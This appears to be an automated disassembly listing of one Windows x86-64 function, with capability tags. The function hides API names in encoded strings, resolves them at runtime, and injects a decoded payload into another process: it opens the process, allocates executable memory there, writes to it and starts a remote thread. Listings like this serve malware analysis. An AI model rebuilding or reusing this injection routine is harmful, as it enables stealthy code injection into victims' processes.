Function at 0x1400b6f20
Capabilities:
Get common file path
Link many functions at runtime

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x158
call fcn.14000bfa0
lea rbx, [rsp + 0x40]
xor r9d, r9d
xor ecx, ecx
mov r8d, 8
mov rdx, rbx
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
test eax, eax
jne 0x1400b7295
mov rax, qword [0x1403427e0]
mov rsi, qword [0x140342660]
mov rbx, qword [0x1403427d0]
mov r8, qword [0x140342650]
movsxd rdx, dword [rax]
movsxd r9, dword [rsi]
mov rcx, rbx
call fcn.14001c6c0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbx, rax
test rax, rax
je 0x1400b7300
mov rax, qword [0x140342700]
mov rdi, qword [0x1403426f0]
movsxd r9, dword [rsi]
mov r8, qword [0x140342650]
movsxd rdx, dword [rax]
mov rcx, rdi
call fcn.14001c6c0
mov rdx, rdi
mov rcx, rbx
mov rdi, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rdi
mov rbp, qword [0x1403426b0]
movsxd r9, dword [rsi]
mov qword [0x14023e210], rax
mov rax, qword [0x1403426c0]
mov r8, qword [0x140342650]
mov rcx, rbp
movsxd rdx, dword [rax]
call fcn.14001c6c0
mov rdx, rbp
mov rcx, rbx
call rdi
mov rbp, qword [0x1403427b0]
movsxd r9, dword [rsi]
mov r12, rax
mov rax, qword [0x1403427c0]
mov r8, qword [0x140342650]
mov rcx, rbp
movsxd rdx, dword [rax]
call fcn.14001c6c0
mov rdx, rbp
mov rcx, rbx
call rdi
mov rbp, qword [0x1403426d0]
movsxd r9, dword [rsi]
mov r13, rax
mov rax, qword [0x1403426e0]
mov r8, qword [0x140342650]
mov rcx, rbp
movsxd rdx, dword [rax]
call fcn.14001c6c0
mov rdx, rbp
mov rcx, rbx
call rdi
mov rbp, qword [0x140342730]
movsxd r9, dword [rsi]
mov qword [0x14023e200], rax
mov rax, qword [0x140342740]
mov r8, qword [0x140342650]
mov rcx, rbp
movsxd rdx, dword [rax]
call fcn.14001c6c0
mov rdx, rbp
mov rcx, rbx
call rdi
mov rbp, qword [0x140342750]
movsxd r9, dword [rsi]
mov qword [0x14023e220], rax
mov rax, qword [0x140342760]
mov r8, qword [0x140342650]
mov rcx, rbp
movsxd rdx, dword [rax]
call fcn.14001c6c0
mov rdx, rbp
mov rcx, rbx
call rdi
mov rbp, qword [0x140342690]
movsxd r9, dword [rsi]
mov qword [0x14023e230], rax
mov rax, qword [0x1403426a0]
mov r8, qword [0x140342650]
mov rcx, rbp
movsxd rdx, dword [rax]
call fcn.14001c6c0
mov rdx, rbp
mov rcx, rbx
call rdi
mov rbp, qword [0x140342780]
movsxd r9, dword [rsi]
mov qword [0x14023e1f0], rax
mov rax, qword [0x140342790]
mov r8, qword [0x140342650]
mov rcx, rbp
movsxd rdx, dword [rax]
call fcn.14001c6c0
mov rdx, rbp
mov rcx, rbx
call rdi
mov r14, qword [0x140342770]
movsxd r9, dword [rsi]
mov rbp, rax
mov rax, qword [0x1403427a0]
mov r8, qword [0x140342650]
mov rcx, r14
movsxd rdx, dword [rax]
call fcn.14001c6c0
mov rdx, r14
mov rcx, rbx
call rdi
mov r15, qword [0x140342710]
movsxd r9, dword [rsi]
mov r14, rax
mov rax, qword [0x140342720]
mov r8, qword [0x140342650]
mov rcx, r15
movsxd rdx, dword [rax]
call fcn.14001c6c0
mov rcx, rbx
mov rdx, r15
call rdi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov dword [rsp + 0x28], 0
mov r9d, 0x3000
mov dword [rsp + 0x20], 4
mov rcx, rax
mov r8d, 0x1000
call rbp
test rax, rax
je 0x1400b730a
mov rax, qword [0x140342800]
mov rdi, qword [0x1403427f0]
movsxd r9, dword [rsi]
mov r8, qword [0x140342650]
movsxd rdx, dword [rax]
mov rcx, rdi
call fcn.14001c6c0
mov rcx, rdi
call fcn.14001c620
xor edx, edx
mov ecx, 0x1fffff
mov r8d, eax
call rbx
mov rbx, rax
test rax, rax
je 0x1400b7314
mov rbp, qword [0x140342680]
mov r9d, 0x3000
xor edx, edx
mov rcx, rax
movsxd r8, dword [rbp]
mov dword [rsp + 0x20], 0x40
call r14
movsxd r9, dword [rsi]
movsxd rdx, dword [rbp]
mov rsi, qword [0x140342670]
mov r8, qword [0x140342650]
mov rdi, rax
mov rcx, rsi
call fcn.14001c6c0
movsxd r9, dword [rbp]
mov r8, rsi
mov rdx, rdi
mov qword [rsp + 0x20], 0
mov rcx, rbx
call r13
mov r9, rdi
xor r8d, r8d
xor edx, edx
mov rcx, rbx
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
call r12
mov rcx, rbx
call qword [0x14023e1f0]
xor eax, eax
add rsp, 0x158
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
mov rcx, rbx
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
mov rdx, rbx
mov rbx, qword [0x140341ee0]
mov r8, rax
mov rcx, rbx
call fcn.1400b1320
mov rax, qword [rbx]
mov rax, qword [rax - 0x18]
mov rsi, qword [rax + rbx + 0xf0]
test rsi, rsi
je 0x1400b731c
cmp byte [rsi + 0x38], 0
je 0x1400b72e5
movsx edx, byte [rsi + 0x43]
mov rcx, rbx
call fcn.1400757b0
mov rcx, rax
call fcn.140075990
jmp 0x1400b6f59
mov rcx, rsi
call fcn.140028580
mov rax, qword [rsi]
mov edx, 0xa
mov rcx, rsi
call qword [rax + 0x30]
movsx edx, al
jmp 0x1400b72d0
mov eax, 4
jmp 0x1400b7281
mov eax, 0xfffffffd
jmp 0x1400b7281
or eax, 0xffffffff
jmp 0x1400b7281
call fcn.1400b7530
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
sub rsp, 0x28
lea rcx, [0x1400bc160]
call fcn.1400acf20
lea rcx, [0x1400b6e90]
add rsp, 0x28
jmp fcn.140001410